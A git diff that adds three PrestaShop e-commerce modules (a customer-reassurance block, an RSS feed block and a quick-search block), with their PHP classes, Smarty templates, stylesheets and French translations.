$helper->title = $this->displayName; + $helper->submit_action = 'saveblockreinsurance'; + $helper->toolbar_btn = array( + 'save' => + array( + 'desc' => $this->l('Save'), + 'href' => AdminController::$currentIndex.'&configure='.$this->name.'&save'.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules'), + ), + 'back' => + array( + 'href' => AdminController::$currentIndex.'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules'), + 'desc' => $this->l('Back to list') + ) + ); + return $helper; + } + + protected function initList() + { + $this->fields_list = array( + 'id_reinsurance' => array( + 'title' => $this->l('Id'), + 'width' => 120, + 'type' => 'text', + ), + 'text' => array( + 'title' => $this->l('Text'), + 'width' => 140, + 'type' => 'text', + 'filter_key' => 'a!lastname' + ), + ); + + if (Shop::isFeatureActive()) + $this->fields_list['id_shop'] = array('title' => $this->l('ID Shop'), 'align' => 'center', 'width' => 25, 'type' => 'int'); + + $helper = new HelperList(); + $helper->shopLinkType = ''; + $helper->simple_header = true; + $helper->identifier = 'id_reinsurance'; + $helper->actions = array('edit', 'delete'); + $helper->show_toolbar = true; + $helper->imageType = 'jpg'; + $helper->toolbar_btn['new'] = array( + 'href' => AdminController::$currentIndex.'&configure='.$this->name.'&add'.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules'), + 'desc' => $this->l('Add new') + ); + + $helper->title = $this->displayName; + $helper->table = $this->name; + $helper->token = Tools::getAdminTokenLite('AdminModules'); + $helper->currentIndex = AdminController::$currentIndex.'&configure='.$this->name; + return $helper; + } + + public function hookFooter($params) + { + // Check if not a mobile theme + if ($this->context->getMobileDevice() != false) + return false; + + $this->context->controller->addCSS($this->_path.'style.css', 'all'); + if (!$this->isCached('blockreinsurance.tpl', $this->getCacheId())) + { + $infos = $this->getListContent($this->context->language->id); + $this->context->smarty->assign(array('infos' => $infos, 'nbblocks' => count($infos))); + } + return $this->display(__FILE__, 'blockreinsurance.tpl', $this->getCacheId()); + } + + public function installFixtures() + { + $return = true; + $tab_texts = array( + array('text' => $this->l('Money back guarantee.'), 'file_name' => 'reinsurance-1-1.jpg'), + array('text' => $this->l('In-store exchange.'), 'file_name' => 'reinsurance-2-1.jpg'), + array('text' => $this->l('Payment upon shipment.'), 'file_name' => 'reinsurance-3-1.jpg'), + array('text' => $this->l('Free Shipping.'), 'file_name' => 'reinsurance-4-1.jpg'), + array('text' => $this->l('100% secure payment processing.'), 'file_name' => 'reinsurance-5-1.jpg') + ); + + foreach($tab_texts as $tab) + { + $reinsurance = new reinsuranceClass(); + foreach (Language::getLanguages(false) as $lang) + $reinsurance->text[$lang['id_lang']] = $tab['text']; + $reinsurance->file_name = $tab['file_name']; + $reinsurance->id_shop = $this->context->shop->id; + $return &= $reinsurance->save(); + } + return $return; + } +} diff --git a/modules/blockreinsurance/blockreinsurance.tpl b/modules/blockreinsurance/blockreinsurance.tpl new file mode 100755 index 0000000..fdf135c --- /dev/null +++ b/modules/blockreinsurance/blockreinsurance.tpl @@ -0,0 +1,35 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $infos|@count > 0} + +
        +
          + {foreach from=$infos item=info} +
        • {$info.text|escape:html:'UTF-8'} {$info.text|escape:html:'UTF-8'}
        • + {/foreach} +
        +
        + +{/if} \ No newline at end of file diff --git a/modules/blockreinsurance/img/bg_reinsurance_block.gif b/modules/blockreinsurance/img/bg_reinsurance_block.gif new file mode 100755 index 0000000..0894d2a Binary files /dev/null and b/modules/blockreinsurance/img/bg_reinsurance_block.gif differ diff --git a/modules/blockreinsurance/img/index.php b/modules/blockreinsurance/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockreinsurance/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockreinsurance/img/reinsurance-1-1.jpg b/modules/blockreinsurance/img/reinsurance-1-1.jpg new file mode 100755 index 0000000..bb8e0f4 Binary files /dev/null and b/modules/blockreinsurance/img/reinsurance-1-1.jpg differ diff --git a/modules/blockreinsurance/img/reinsurance-2-1.jpg b/modules/blockreinsurance/img/reinsurance-2-1.jpg new file mode 100755 index 0000000..16e686f Binary files /dev/null and b/modules/blockreinsurance/img/reinsurance-2-1.jpg differ diff --git a/modules/blockreinsurance/img/reinsurance-3-1.jpg b/modules/blockreinsurance/img/reinsurance-3-1.jpg new file mode 100755 index 0000000..a24d6bc Binary files /dev/null and b/modules/blockreinsurance/img/reinsurance-3-1.jpg differ diff --git a/modules/blockreinsurance/img/reinsurance-4-1.jpg b/modules/blockreinsurance/img/reinsurance-4-1.jpg new file mode 100755 index 0000000..9aa175c Binary files /dev/null and b/modules/blockreinsurance/img/reinsurance-4-1.jpg differ diff --git a/modules/blockreinsurance/img/reinsurance-5-1.jpg b/modules/blockreinsurance/img/reinsurance-5-1.jpg new file mode 100755 index 0000000..1f88565 Binary files /dev/null and b/modules/blockreinsurance/img/reinsurance-5-1.jpg differ diff --git a/modules/blockreinsurance/index.php b/modules/blockreinsurance/index.php new file mode 100755 index 0000000..07830d9 --- /dev/null +++ b/modules/blockreinsurance/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/modules/blockreinsurance/logo.gif b/modules/blockreinsurance/logo.gif new file mode 100755 index 0000000..15471af Binary files /dev/null and b/modules/blockreinsurance/logo.gif differ diff --git a/modules/blockreinsurance/logo.png b/modules/blockreinsurance/logo.png new file mode 100755 index 0000000..3eae87d Binary files /dev/null and b/modules/blockreinsurance/logo.png differ diff --git a/modules/blockreinsurance/reinsuranceClass.php b/modules/blockreinsurance/reinsuranceClass.php new file mode 100755 index 0000000..4dd27a2 --- /dev/null +++ b/modules/blockreinsurance/reinsuranceClass.php @@ -0,0 +1,74 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class reinsuranceClass extends ObjectModel +{ + /** @var integer reinsurance id*/ + public $id; + + /** @var integer reinsurance id shop*/ + public $id_shop; + + /** @var string reinsurance file name icon*/ + public $file_name; + + /** @var string reinsurance text*/ + public $text; + + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'reinsurance', + 'primary' => 'id_reinsurance', + 'multilang' => true, + 'fields' => array( + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'file_name' => array('type' => self::TYPE_STRING, 'validate' => 'isFileName'), + // Lang fields + 'text' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true), + ) + ); + + public function copyFromPost() + { + /* Classical fields */ + foreach ($_POST AS $key => $value) + if (key_exists($key, $this) AND $key != 'id_'.$this->table) + $this->{$key} = $value; + + /* Multilingual fields */ + if (sizeof($this->fieldsValidateLang)) + { + $languages = Language::getLanguages(false); + foreach ($languages AS $language) + foreach ($this->fieldsValidateLang AS $field => $validation) + if (isset($_POST[$field.'_'.(int)($language['id_lang'])])) + $this->{$field}[(int)($language['id_lang'])] = $_POST[$field.'_'.(int)($language['id_lang'])]; + } + } +} diff --git a/modules/blockreinsurance/style.css b/modules/blockreinsurance/style.css new file mode 100755 index 0000000..fc08e48 --- /dev/null +++ b/modules/blockreinsurance/style.css @@ -0,0 +1,24 @@ +/* BLOCK #reinsurance_block ******************************************************************** */ +#reinsurance_block {background:url(../blockreinsurance/img/bg_reinsurance_block.gif) repeat-x 0 0 #c3c7cb} +#reinsurance_block li { + float:left; + padding:15px 10px !important; + font-size:13px; + color:#333; + text-transform:uppercase; + text-shadow:0 1px 0 #fff +} +#reinsurance_block .width1 li {width:960px} +#reinsurance_block .width2 li {width:470px} +#reinsurance_block .width3 li {width:305px} +#reinsurance_block .width4 li {width:224px} +#reinsurance_block .width5 li {width:175px} +#reinsurance_block li img{ + float:left; + margin-right:10px; +} +#reinsurance_block li span { + float:left; + padding-top:12px; + width:65%; +} \ No newline at end of file diff --git a/modules/blockreinsurance/translations/fr.php b/modules/blockreinsurance/translations/fr.php new file mode 100755 index 0000000..8d9c130 --- /dev/null +++ b/modules/blockreinsurance/translations/fr.php @@ -0,0 +1,23 @@ +blockreinsurance_873330fc1881555fffe2bc471d04bf5d'] = 'Bloc réassurance'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_7e7f70db3c75e428db8e2d0a1765c4e9'] = 'Ajoute un bloc pour afficher des informations pour rassurer vos clients'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_d52eaeff31af37a4a7e0550008aff5df'] = 'Une erreur est survenue lors de la sauvegarde'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_0366c7b2ea1bb228cd44aec7e3e26a3e'] = 'Configuration mise à jour'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_b90a3740c94a99c0f0f2f32efdcfae0a'] = 'Nouveau bloc réassurance'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_461900b74731e07320ca79366df3e809'] = 'Image :'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_ed2fc2838f7edb7607dd1cd19f3a82e0'] = 'Texte :'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_630f6dc397fe74e52d5189e2c80f282b'] = 'Retour à la liste'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_490aa6e856ccf208a054389e47ce0d06'] = 'ID'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_9dffbf69ffba8bc38bc4e01abf4b1675'] = 'Texte'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_23498d91b6017e5d7f4ddde70daba286'] = 'ID de la boutique'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_ef61fb324d729c341ea8ab9901e23566'] = 'Ajouter'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_f3295a93167b56c5a19030e91823f7bf'] = 'Satisfait ou remboursé'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_56e140ebd6f399c22c8859a694b247f3'] = 'Échange en magasin'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_597ce11744f9bbf116ec9e4a719ec9d3'] = 'Paiement à l\'expédition'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_3aca7ac5cf7e462b658960931946f824'] = 'Livraison gratuite'; +$_MODULE['<{blockreinsurance}prestashop>blockreinsurance_d05244e0e410a6b85ed53a014908c657'] = 'Paiement 100% sécurisé'; diff --git a/modules/blockreinsurance/translations/index.php b/modules/blockreinsurance/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockreinsurance/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockrss/blockrss.php b/modules/blockrss/blockrss.php new file mode 100755 index 0000000..de2b954 --- /dev/null +++ b/modules/blockrss/blockrss.php @@ -0,0 +1,182 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_CLASS_DIR_.'../tools/pear/PEAR.php'); +include_once(_PS_PEAR_XML_PARSER_PATH_.'Parser.php'); + +class Blockrss extends Module +{ + function __construct() + { + $this->name = 'blockrss'; + $this->tab = 'front_office_features'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('RSS feed block'); + $this->description = $this->l('Adds a block displaying an RSS feed.'); + + $this->version = '1.1'; + $this->author = 'PrestaShop'; + $this->error = false; + $this->valid = false; + } + + function install() + { + Configuration::updateValue('RSS_FEED_TITLE', $this->l('RSS feed')); + Configuration::updateValue('RSS_FEED_NBR', 5); + if (parent::install() == false OR $this->registerHook('leftColumn') == false OR $this->registerHook('header') == false) + return false; + return true; + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + + if (Tools::isSubmit('submitBlockRss')) + { + $errors = array(); + $urlfeed = Tools::getValue('urlfeed'); + $title = Tools::getValue('title'); + $nbr = (int)Tools::getValue('nbr'); + + if ($urlfeed AND !Validate::isAbsoluteUrl($urlfeed)) + $errors[] = $this->l('Invalid feed URL'); + elseif (!$title OR empty($title) OR !Validate::isGenericName($title)) + $errors[] = $this->l('Invalid title'); + elseif (!$nbr OR $nbr <= 0 OR !Validate::isInt($nbr)) + $errors[] = $this->l('Invalid number of feeds'); + elseif (stristr($urlfeed, $_SERVER['HTTP_HOST'].__PS_BASE_URI__)) + $errors[] = $this->l('You have selected a feed URL on your own website. Please choose another URL'); + elseif (!($contents = Tools::file_get_contents($urlfeed))) + $errors[] = $this->l('Feed is unreachable, check your URL'); + /* Even if the feed was reachable, We need to make sure that the feed is well formated */ + else + { + try { + $xmlFeed = new XML_Feed_Parser($contents); + } catch (XML_Feed_Parser_Exception $e) { + $errors[] = $this->l('Invalid feed:').' '.$e->getMessage(); + } + } + + if (!sizeof($errors)) + { + Configuration::updateValue('RSS_FEED_URL', $urlfeed); + Configuration::updateValue('RSS_FEED_TITLE', $title); + Configuration::updateValue('RSS_FEED_NBR', $nbr); + + $output .= $this->displayConfirmation($this->l('Settings updated')); + } + else + $output .= $this->displayError(implode('
        ', $errors)); + } + else + { + $errors = array(); + if (stristr(Configuration::get('RSS_FEED_URL'), $_SERVER['HTTP_HOST'].__PS_BASE_URI__)) + $errors[] = $this->l('You have selected a feed URL on your own website. Please choose another URL'); + + if (sizeof($errors)) + $output .= $this->displayError(implode('
        ', $errors)); + } + + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' + +
        + +

        '.$this->l('Create a title for the block (default: \'RSS feed\')').'

        + +
        + +
        + +

        '.$this->l('Add the URL of the feed you want to use (sample: http://news.google.com/?output=rss)').'

        + +
        + +
        + +

        '.$this->l('Number of threads displayed by the block (default value: 5)').'

        + +
        +
        +
        +
        '; + return $output; + } + + function hookLeftColumn($params) + { + // Conf + $title = strval(Configuration::get('RSS_FEED_TITLE')); + $url = strval(Configuration::get('RSS_FEED_URL')); + $nb = (int)(Configuration::get('RSS_FEED_NBR')); + + // Getting data + $rss_links = array(); + if ($url && ($contents = @file_get_contents($url))) + try + { + if (@$src = new XML_Feed_Parser($contents)) + for ($i = 0; $i < ($nb ? $nb : 5); $i++) + if (@$item = $src->getEntryByOffset($i)) + $rss_links[] = array('title' => $item->title, 'url' => $item->link); + } + catch (XML_Feed_Parser_Exception $e) + { + Tools::dieOrLog(sprintf($this->l('Error: invalid RSS feed in "blockrss" module: %s'), $e->getMessage()), false); + } + + // Display smarty + $this->smarty->assign(array('title' => ($title ? $title : $this->l('RSS feed')), 'rss_links' => $rss_links)); + + return $this->display(__FILE__, 'blockrss.tpl'); + } + + function hookRightColumn($params) + { + return $this->hookLeftColumn($params); + } + + function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockrss.css', 'all'); + } +} \ No newline at end of file diff --git a/modules/blockrss/blockrss.tpl b/modules/blockrss/blockrss.tpl new file mode 100755 index 0000000..7a4f224 --- /dev/null +++ b/modules/blockrss/blockrss.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {$title}

        +
        + {if $rss_links} + + {else} +

        {l s='No RSS feed added' mod='blockrss'}

        + {/if} +
        +
        + diff --git a/modules/blockrss/img/arrow_right_2.png b/modules/blockrss/img/arrow_right_2.png new file mode 100755 index 0000000..c970f18 Binary files /dev/null and b/modules/blockrss/img/arrow_right_2.png differ diff --git a/modules/blockrss/img/index.php b/modules/blockrss/img/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/modules/blockrss/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/modules/blockrss/index.php b/modules/blockrss/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockrss/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockrss/logo.gif b/modules/blockrss/logo.gif new file mode 100755 index 0000000..7a5e009 Binary files /dev/null and b/modules/blockrss/logo.gif differ diff --git a/modules/blockrss/logo.png b/modules/blockrss/logo.png new file mode 100755 index 0000000..8b2c0d5 Binary files /dev/null and b/modules/blockrss/logo.png differ diff --git a/modules/blockrss/translations/fr.php b/modules/blockrss/translations/fr.php new file mode 100755 index 0000000..f33e81f --- /dev/null +++ b/modules/blockrss/translations/fr.php @@ -0,0 +1,25 @@ +blockrss_2516c13a12d3dbaf4efa88d9fce2e7da'] = 'Bloc flux RSS'; +$_MODULE['<{blockrss}prestashop>blockrss_04396664ce529aa4204b0f7ad753fad1'] = 'Ajoute un bloc avec les messages d\'un flux RSS.'; +$_MODULE['<{blockrss}prestashop>blockrss_9680162225162baf2a085dfdc2814deb'] = 'Flux RSS'; +$_MODULE['<{blockrss}prestashop>blockrss_6706b6d8ba45cc4f0eda0506ba1dc3c8'] = 'URL non valable pour le flux'; +$_MODULE['<{blockrss}prestashop>blockrss_36ed65ce17306e812fd68d9f634c0c57'] = 'Titre non valable'; +$_MODULE['<{blockrss}prestashop>blockrss_1b3d34e25aef32a3c8daddfff856577f'] = 'Nombre de flux non valable'; +$_MODULE['<{blockrss}prestashop>blockrss_e423bd72f5aa1be13216c5abbd3deb45'] = 'Vous avez choisi le flux RSS de votre site. Veuillez choisir une autre URL'; +$_MODULE['<{blockrss}prestashop>blockrss_bef637cd0e222a8b56676cb64ce75258'] = 'Le flux est inaccessible, vérifiez votre URL'; +$_MODULE['<{blockrss}prestashop>blockrss_1844ef1bfaa030dc8423c4645a43525c'] = 'Flux non valable :'; +$_MODULE['<{blockrss}prestashop>blockrss_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockrss}prestashop>blockrss_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockrss}prestashop>blockrss_b22c8f9ad7db023c548c3b8e846cb169'] = 'Titre du bloc'; +$_MODULE['<{blockrss}prestashop>blockrss_2343a40bdffd8c7a6317b6d98c2b1042'] = 'Créez un titre pour le block (par défaut : \"Flux RSS\")'; +$_MODULE['<{blockrss}prestashop>blockrss_402d00ca8e4f0fff26fc24ee9ab8e82b'] = 'Ajouter une URL'; +$_MODULE['<{blockrss}prestashop>blockrss_695d0986205c1ce17d03b026feb78c97'] = 'Ajouter l\'URL du flux que vous voulez utiliser (exemple : http://news.google.com/?output=rss)'; +$_MODULE['<{blockrss}prestashop>blockrss_ff9aa540e20285875ac8b190a3cb7ccf'] = 'Nombre de messages affichés'; +$_MODULE['<{blockrss}prestashop>blockrss_f33725e23a017705ad35897e849a4db4'] = 'Nombre de messages affichés par le bloc (par défaut : 5)'; +$_MODULE['<{blockrss}prestashop>blockrss_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockrss}prestashop>blockrss_0a1c629f0e86804a9e165f4b1ee399b7'] = 'Erreur: Flux RSS invalide dans le module \"blockrss\" : %s'; +$_MODULE['<{blockrss}prestashop>blockrss_10fd25dcd3353c0ba3731d4a23657f2e'] = 'Aucun flux RSS ajouté'; diff --git a/modules/blockrss/translations/index.php b/modules/blockrss/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockrss/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksearch/blocksearch-instantsearch.tpl b/modules/blocksearch/blocksearch-instantsearch.tpl new file mode 100755 index 0000000..ad933b7 --- /dev/null +++ b/modules/blocksearch/blocksearch-instantsearch.tpl @@ -0,0 +1,94 @@ +{if $instantsearch} + +{/if} +{if $ajaxsearch} + +{/if} \ No newline at end of file diff --git a/modules/blocksearch/blocksearch-top.tpl b/modules/blocksearch/blocksearch-top.tpl new file mode 100755 index 0000000..5818309 --- /dev/null +++ b/modules/blocksearch/blocksearch-top.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if isset($hook_mobile)} + +{else} + +
        + + +
        +{include file="$self/blocksearch-instantsearch.tpl"} +{/if} + diff --git a/modules/blocksearch/blocksearch.css b/modules/blocksearch/blocksearch.css new file mode 100755 index 0000000..0dbc9a7 --- /dev/null +++ b/modules/blocksearch/blocksearch.css @@ -0,0 +1,40 @@ +/* block top search */ +#search_block_top { + position:absolute; + right: 26%; + top: 34px; +} +#search_block_top p {padding:0;} +#search_block_top #search_query_top { + padding:0 5px; + height:23px; + width:300px;/* 310 */ + border:1px solid #666; + border-right: 0 !important; + color:#666; + background:url(img/bg_search_input.png) repeat-x 0 0 #fff; + float: left; +} + +#search_block_top .button { + border:none; + border-radius:0; + color:#fff; + text-transform:uppercase; + background:url(img/bg_search_submit.png) repeat-x 0 0 #101010; + float: left; + height: 25px; +} + +form#searchbox{padding-top:5px} +form#searchbox label{color:#333;margin-bottom:1px} +form#searchbox input#search_query_block{ + border: 1px solid #CCCCCC; + -webkit-border-radius:3px !important; + -moz-border-radius:3px !important; + border-radius:3px !important; + height: 18px; + margin-top:10px; +} +form#searchbox input#search_button{padding: 1px 4px;} + diff --git a/modules/blocksearch/blocksearch.php b/modules/blocksearch/blocksearch.php new file mode 100755 index 0000000..48d1a70 --- /dev/null +++ b/modules/blocksearch/blocksearch.php @@ -0,0 +1,121 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockSearch extends Module +{ + public function __construct() + { + $this->name = 'blocksearch'; + $this->tab = 'search_filter'; + $this->version = 1.2; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Quick search block'); + $this->description = $this->l('Adds a quick search field to your website.'); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('top') || !$this->registerHook('header') || !$this->registerHook('displayMobileTopSiteMap')) + return false; + return true; + } + + public function hookdisplayMobileTopSiteMap($params) + { + $this->smarty->assign(array('hook_mobile' => true, 'instantsearch' => false)); + return $this->hookTop($params); + } + + /* +public function hookDisplayMobileHeader($params) + { + if (Configuration::get('PS_SEARCH_AJAX')) + $this->context->controller->addJqueryPlugin('autocomplete'); + $this->context->controller->addCSS(_THEME_CSS_DIR_.'product_list.css'); + } +*/ + + public function hookHeader($params) + { + if (Configuration::get('PS_SEARCH_AJAX')) + $this->context->controller->addJqueryPlugin('autocomplete'); + $this->context->controller->addCSS(_THEME_CSS_DIR_.'product_list.css'); + $this->context->controller->addCSS(($this->_path).'blocksearch.css', 'all'); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookRightColumn($params) + { + if (!$this->isCached('blocksearch.tpl', $this->getCacheId())) + { + $this->calculHookCommon($params); + $this->smarty->assign('blocksearch_type', 'block'); + } + return $this->display(__FILE__, 'blocksearch.tpl', $this->getCacheId()); + } + + public function hookTop($params) + { + if (!$this->isCached('blocksearch-top.tpl', $this->getCacheId('blocksearch-top'))) + { + $this->calculHookCommon($params); + $this->smarty->assign('blocksearch_type', 'top'); + } + + return $this->display(__FILE__, 'blocksearch-top.tpl', $this->getCacheId('blocksearch-top')); + } + + /** + * _hookAll has to be called in each hookXXX methods. This is made to avoid code duplication. + * + * @param mixed $params + * @return void + */ + private function calculHookCommon($params) + { + $this->smarty->assign(array( + 'ENT_QUOTES' => ENT_QUOTES, + 'search_ssl' => Tools::usingSecureMode(), + 'ajaxsearch' => Configuration::get('PS_SEARCH_AJAX'), + 'instantsearch' => Configuration::get('PS_INSTANT_SEARCH'), + 'self' => dirname(__FILE__), + )); + + return true; + } +} + diff --git a/modules/blocksearch/blocksearch.tpl b/modules/blocksearch/blocksearch.tpl new file mode 100755 index 0000000..a9f6235 --- /dev/null +++ b/modules/blocksearch/blocksearch.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Search' mod='blocksearch'}

        + +
